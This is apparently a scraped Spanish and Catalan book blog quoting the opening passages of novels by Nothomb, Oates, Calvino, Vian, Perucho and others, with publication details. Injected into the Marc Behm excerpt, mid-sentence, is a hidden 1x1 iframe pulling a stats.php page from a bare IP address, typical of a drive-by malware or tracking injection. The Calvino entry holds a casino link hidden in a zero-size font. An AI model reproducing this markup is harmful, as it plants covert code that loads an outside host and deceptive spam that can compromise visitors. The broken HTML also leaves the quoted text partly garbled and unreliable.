La primera vez que me vi en un espejo, me reí: no creía que fuese yo. Ahora cuando contemplo mi imagen, me río: sé que soy yo. Tanta fealdad tiene cierta gracia. Pronto me sacaron un mote. Debía de tener seis años el día en que un chaval, en el patio, me gritó: “¡Quasimodo!” Locos de alegría, los niños corearon: “¡Quasimodo! ¡Quasimodo!”
Sin embargo, ninguno de ellos había oído nunca hablar de Victor Hugo. Pero el nombre de Quasimodo resultaba tan adecuado para mí que bastaba oírlo para comprender.
Ya no me llamaron de otro modo.
Título: Atentado
Autora: Amélie Nothomb
Editorial: Circe, 1998
La última vez que ves a alguien y no sabes que será la última vez. Y todo lo que ahora sabes, ojalá lo hubieras sabido entonces… pero no lo sabías, y ahora es demasiado tarde. Y te dices: ¿Cómo iba a saberlo? No podía saberlo.
Te lo dices.
Título: Mamá
Autora: Joyce Carol Oates
Editorial: Alfaguara (2009)
CUANDO CAÍAN HOMBRES DE LA LUNA
Ahora parece que haya pasado mucho tiempo, pero todo empezó hace un par de años, una noche de invierno. A media cena oímos mugir a la vaca. Cada mañana la ordeñábamos. Pero a veces, al anochecer, resoplaba de aquel modo tan fastidioso. La vaca era como uno de esos gallos locos, que cantan siempre menos cuando sale el sol. Mi padre me mandó:
- Ve a ordeñar la vaca.
Me lo dijo sin quitar los ojos del plato, como siempre que hablaba comiendo. Yo no quería ir. Hacía un frío del demonio y el establo estaba a cincuenta pasos de la casa. Fui, claro que fui. Mi padre era un hombretón; el único que decía “no” en aquella casa era él. Él y la abuela. Pero de la abuela ya hablaré más adelante.
Título: Trece tristes trances
Autora: Albert Sánchez Piñol
Editorial: Alfaguara (2009)
La mesa del Ojo estaba situada en una esquina junto a la ventana. Su único cajón contenía sus útiles de coser, su maquinilla de afeitar, sus plumas y lápices, su 45, dos cargadores, una revista de crucigramas, su pasaporte, un tubo de pegamento, una botellita sin abrir de Old Smuggler, y una fotografía de su hija.
La ventana daba a un aparcamiento situado dos plantas!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — más abajo. En la oficina había otras once mesas. Eran las nueve y media.
a href=http://lleixes.blogspot.com/2009/04/la-mirada-del-observador-marc-behm.htmlLa mirada del observador - Marc Behm/a
span style=x-small;Barcelona: RBA Libros, 2008
/spanspan style=verdana;emThe eye of the beholder/em
Traducción: Beatriz Pottecher
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April 22nd,2009
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HOLA AMOR:
Ya no somos niños, y nuestros juegos tienen poco de inocente. Ya no somos amantes nuevos, y día a día descubrimos la capacidad inmensa para hacernos mal, una habilidad que desconocíamos para hurgar en el hueco más doloroso del otro.
Título: Cartas de amor y desamor
Autora: Espido Freire
Editorial: 451 Editores (2009)
A los quince años tuve hepatitis. La enfermedad empezó en otoño y acabó en primavera. Cuanto más fríos y oscuros se hacían los días, más débil me encontraba. Pero con el año nuevo las cosas cambiaron. El mes de enero fue templado, hasta el punto de que mi madre me instaló la cama en el balcón. Veía el cielo, el sol y la nubes, y oía a los niños jugar en el patio. Una tarde de febrero oí cantar un mirlo.
Vivíamos en el segundo piso de una espaciosa casa de finales del siglo pasado, en la Blumenstrasse. La primera vez que salí después de la enfermedad fue para dirigirme a la Bahnhofstrasse. Fue allí donde, un lunes de octubre, volviendo del colegio a casa, me puse a vomitar.
Título: El lector
Autor/a: Bernhard Schlink
Editorial: Anagrama colección compactos 2000
span style=verdana;span style=x-small;Había una guerra contra los turcos. El vizconde Medardo de Terralba, mi tío, cabalgaba por la llanura de Bohemia hacia el campamento de los cristianos. Le seguía un escudero de nombre Curcio. Las cigüeñas volavan bajas, en blancas bandadas, atravesando el aire opaco e inmóvil.
-¿Por qué tantas cigüeñas? - preguntó Medardo a Curcio-, ¿a donde vuelan?
Mi tío era un recién llegado, habiéndose enrolado hacía muy poco, para complacer a ciertos duques vecinos nuestros comprotidos en aquella guerra. Se había provisto de un caballo y de un escudero en el último castillo en poder de los cristianos, e iba a presentarse al cuartel imperial.
- Vuelan a los campos de batalla -dijo el escudero, lúgubre-. Nos acompañarán durante todo el camino.
El vizconde Medardo había aprendido que en aquel país el vuelo de las cigüeñas es señal de buena suerte; y quería mostrarse contento de verlas. Pero se sentía, a pesar suyo, inquieto.
- ¿Qué es lo que puede llamar a las zancudas a los campos de batalla, Curcio? -preguntó.
- Ahora también ellas comen carne humana -contestó el escudero-, desde que la carestía ha marchitado los campos y la sequía ha resecado los ríos. Donde hay cadáveres, las cigüeñas y los flamencos y las grullas han sustituido a los cuervos y los buitres.
Mi tío estaba entonces en su primera juventud: la edad en que los sentimientos se abalanzan todos confusamente, no separados todavía en mal y en bien; la edad en que cada nueva experiencia, aun macabra e inhumana, siempre es temerosa y ardiente de amor por la vida./span/span
p class=post-title entry-titlea href=http://lleixes.blogspot.com/2008/11/el-vizconde-demediado-italo-calvino.htmlEl vizconde demediado - Italo Calvino/afont style=position: absolute;overflow: hidden;height: 0;width: 0a href=http://online-casino-net.org/online casino/a/font
Barcelona: Bruguera, 1979
Il Visconte dimezzatospan style=verdana;span style=x-small;
/spanTraducció: Francesc Miravitlles
Col.lecció: Libro amigo 1502/644/span
February 6th,2009
Italo Calvino | tags:
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Para empezar, esto de los bailes de disfraces es algo que debería estar prohibido. Son un coñazo para todo el mundo, y me parece que en pleno siglo XX no vamos a seguir vistiéndonos de bandolero siciliano o al estilo de Tosca, sólo para que te dejen entrar en su casa los padres de la chica que te gusta, pues a fin de cuentas éste era el problema. Estábamos a 29 de junio y al día siguiente Gaya celebraba su presentación en sociedad. En Washington, una pejiguera de este tipo significa mucho. Y yo, amigo de infancia de Gaya, algo así como hermano de leche…, bueno, ya os podéis hacer una idea. Rigurosa obligación de asistir; de lo contrario, sus padres no me lo hubiesen perdonado nunca.
Pero en fin, ¿es que Gaya no hubiese podido debutar en sociedad como toda la sociedad en cuestión, con vestido de noche normal, y los chicos con smoking? Diecisiete años es una edad que ya no da para ir cargando todavía con pingos de teatro… A ver, de qué sirve.
Vian, Boris. Con las mujeres no hay manera
Madrid: Alianza Editorial, 1990
Elles se rendent pas compte
Traducció: Josep Elías
Col.lecció: El libro del bolsillo, 1481
February 6th,2009
Boris Vian | tags:
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El sol, a través de la vidriera, prenia uns tons morats, blaus, grocs o vermells, segons la petita forma geomètrica que el filtrava, i queia, en diagonal, a la gran sala per a reflectir-se en l’ull de la monstruosa “scolopendra martirialis“. Al defora, les fines columnes de la galeria pujaven erectes, una mica torturades pel guix de les garlandes, i servien de marc al jardí botànic on cada planta i arbust duia un petit rètol escrupolosament cal·ligrafiat. A vegades, quan feia una mica de vent fresc, se sentia una remor vegetal, insinuant i dolça, mesclada amb un soroll de cartolines que es fregaven les unes amb les altres; llavors, de manera inesperada, l’autòmat, impel·lit per algun ressort que es disparava, feia un intent de tocar la guitarra i movia els llavis silenciós, sense cap èxit. L’havien arraconat a la galeria, ja feia algun temps, quan minvà la forta passió per la mecànica recreativa, i fou substituït per la nova màquina d’estampació d’indianes.
Perucho, Joan. Les històries naturals
Barcelona: Cercle de Lectors, 1991
http://lleixes.blogspot.com/2008/09/les-histries-naturals-joan-perucho.html
(En español)
El sol, en las vidrieras, entornaba tonos morados, azules, amarillos o rojos, según la pequeña forma geométrica que los filtraba, y caía, en diagonal, en la gran sala para reflejarse en el ojo de la monstruosa “scolopendra martirialis“. Fuera, las finas columnas de la galería subían erectas, un poco torturadas porc el yeso de las garlandas, y servían de marco al jardín botánico donde cada planta y arbusto tenía un pequeño letrero escrupolosamente caligrafiado. A veces, cuando había un poco de viento fresco, se oía un murmullo vegetal, insinuante y dulce, mezclada con un ruido de cartulinas que se frotaban unas con otras; entonces, de manera inesperada, el autómata, impelido por algún resorte que se disparaba, hacía un intento de tocar la guitarra y mover los labios silenciosos, sin ningún éxito. Lo habían arrinconado en la galería, ya hacía algún tiempo, cuando disminuyó la fuerte pasión por la mecánica recreativa, y fué susstituida por la nueva máquina de estampación de indianas.
From David.
February 1st,2009
Joan Perucho | tags:
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El verbo leer no soporta el imperativo. Aversión que comparte con otros verbos: el verbo “amar”…, el verbo “soñar”…
Claro que siempre se puede intentar. Adelante: “¡Ámame!” “¡Sueña!” “¡Lee!” ¡Pero lee de una vez, te ordeno que leas, caramba!”
-¡Sube a tu cuarto y lee!
¿Resultado?
Ninguno.
Se ha dormido sobre el libro. La ventana, de repente, se le ha antojado inmensamente abierta sobre algo deseable. Y es por ahí por donde ha huido para escapar al libro…
(Comme un roman, Daniel Pennac, 1992)